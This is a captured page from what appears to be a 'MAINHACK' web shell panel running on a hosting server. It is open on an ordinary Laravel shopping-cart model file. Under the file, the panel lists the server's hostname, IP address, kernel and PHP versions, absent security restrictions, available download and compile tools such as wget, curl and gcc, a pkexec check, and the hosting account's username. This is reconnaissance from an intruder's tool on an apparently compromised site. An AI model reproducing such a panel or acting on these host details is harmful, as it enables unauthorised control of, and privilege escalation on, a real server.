[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Cart.php
<?php namespace App\Models; use App\Mixins\Cart\CartItemInfo; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Collection; class Cart extends Model { protected $table = "cart"; public $timestamps = false; protected $guarded = ['id']; public function user() { return $this->belongsTo('App\User', 'creator_id', 'id'); } public function webinar() { return $this->belongsTo('App\Models\Webinar', 'webinar_id', 'id'); } public function bundle() { return $this->belongsTo('App\Models\Bundle', 'bundle_id', 'id'); } public function reserveMeeting() { return $this->belongsTo('App\Models\ReserveMeeting', 'reserve_meeting_id', 'id'); } public function ticket() { return $this->belongsTo('App\Models\Ticket', 'ticket_id', 'id'); } public function productOrder() { return $this->belongsTo('App\Models\ProductOrder', 'product_order_id', 'id'); } public function subscribe() { return $this->belongsTo('App\Models\Subscribe', 'subscribe_id', 'id'); } public function promotion() { return $this->belongsTo('App\Models\Promotion', 'promotion_id', 'id'); } public function installmentPayment() { return $this->belongsTo(InstallmentOrderPayment::class, 'installment_payment_id', 'id'); } public function gift() { return $this->belongsTo(Gift::class, 'gift_id', 'id'); } public static function emptyCart($userId) { Cart::where('creator_id', $userId)->delete(); } public static function getCartsTotalPrice($carts) { $totalPrice = 0; if (!empty($carts) and count($carts)) { foreach ($carts as $cart) { $totalPrice += self::getItemPrice($cart); } } return $totalPrice; } public static function getItemPrice($cart) { $price = 0; if ((!empty($cart->ticket_id) or !empty($cart->special_offer_id)) and !empty($cart->webinar)) { $price += $cart->webinar->price - $cart->webinar->getDiscount($cart->ticket); } else if (!empty($cart->webinar_id) and !empty($cart->webinar)) { $price += $cart->webinar->price; } else if (!empty($cart->bundle_id) and !empty($cart->bundle)) { $price += $cart->bundle->price; } else if (!empty($cart->reserve_meeting_id) and !empty($cart->reserveMeeting)) { $price += $cart->reserveMeeting->paid_amount; } else if (!empty($cart->product_order_id) and !empty($cart->productOrder) and !empty($cart->productOrder->product)) { $product = $cart->productOrder->product; $price += (($product->price * $cart->productOrder->quantity) - $product->getDiscountPrice()); } return $price; } public function getItemInfo() { if (empty($this->itemInfo)) { $cartItemInfo = new CartItemInfo(); $this->itemInfo = $cartItemInfo->getItemInfo($this); } return $this->itemInfo; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285